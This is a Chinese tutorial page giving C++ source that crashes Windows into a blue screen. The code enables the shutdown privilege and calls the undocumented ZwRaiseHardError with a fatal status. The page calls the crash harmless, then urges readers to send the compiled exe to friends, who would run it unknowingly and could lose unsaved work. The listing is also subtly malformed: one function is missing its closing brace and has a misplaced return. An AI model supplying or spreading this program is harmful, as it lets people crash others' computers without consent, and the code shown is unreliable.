c++ 蓝屏代码

2026-03-02 22:12:12

1、蓝屏一般会在遇到病毒时触发

不过以下提供的c++蓝屏代码仅触发蓝屏条件,无伤害重启一下即可

不过最好保存一下正在工作的信息

c++默认的编译器运行会报错,先把编译器调成最后一个

c++ 蓝屏代码

2、重点!

输入代码:

#include <Windows.h>

BOOL SetPrivilege(LPCSTR lpPrivilegeName, WINBOOL fEnable)

{

HANDLE hToken; 

TOKEN_PRIVILEGES NewState; 

LUID luidPrivilegeLUID; 

if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))

/*If opening token failed...*/

return FALSE; 

if(fEnable == FALSE) /*We disable all the privileges... */

{

if(!AdjustTokenPrivileges(hToken, TRUE, NULL, NULL, NULL, NULL))

{

return FALSE;

}

else return TRUE;

}

/*Look up the LUID value of the privilege... */

LookupPrivilegeValue(NULL, lpPrivilegeName, &luidPrivilegeLUID);

NewState.PrivilegeCount = 1; 

NewState.Privileges[0].Luid = luidPrivilegeLUID; 

NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 

/*Improve this process's privilege, so we can shut down the system next. */

if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))

{

return FALSE;

}

/*We should not only check if the improving was successed... */

if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

{

return FALSE;

return TRUE;

}

typedef enum _HARDERROR_RESPONSE_OPTION {

    OptionAbortRetryIgnore,

    OptionOk,

    OptionOkCancel,

    OptionRetryCancel,

    OptionYesNo,

    OptionYesNoCancel,

    OptionShutdownSystem,

    OptionOkNoWait,

    OptionCancelTryContinue

} HARDERROR_RESPONSE_OPTION;

typedef LONG (WINAPI *type_ZwRaiseHardError)(LONG ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask, PULONG_PTR Parameters, HARDERROR_RESPONSE_OPTION ValidResponseOptions, PULONG Response);

typedef struct _UNICODE_STRING {

    USHORT Length;

    USHORT MaximumLength;

    PWCH   Buffer;

} UNICODE_STRING;

int main(int argc, char* argv[])

{

    FreeConsole();

    UNICODE_STRING str = {8, 10, L"test"};

    ULONG x, args[] = {0x12345678, 0x87654321, (ULONG)&str};

    HMODULE hDll = GetModuleHandle(TEXT("ntdll.dll"));

    type_ZwRaiseHardError ZwRaiseHardError = (type_ZwRaiseHardError)GetProcAddress(hDll, "ZwRaiseHardError");

    bool bSuccess = SetPrivilege(SE_SHUTDOWN_NAME, TRUE);

    if(bSuccess) ZwRaiseHardError(0xC000021A, 3, 4, args, OptionShutdownSystem, &x);

    SetPrivilege(NULL, FALSE);

    return 0;

}

c++ 蓝屏代码

3、按F11编译运行,选择保存位置

现在就能欣赏新壁纸了

可以把生成的exe文件发给朋友啦

运行完别忘记把编译器改回来,不然其他程序就运行不了了

c++ 蓝屏代码

声明:本网站引用、摘录或转载内容仅供网站访问者交流或参考,不代表本站立场,如存在版权或非法内容,请联系站长删除,联系邮箱:site.kefu@qq.com。
猜你喜欢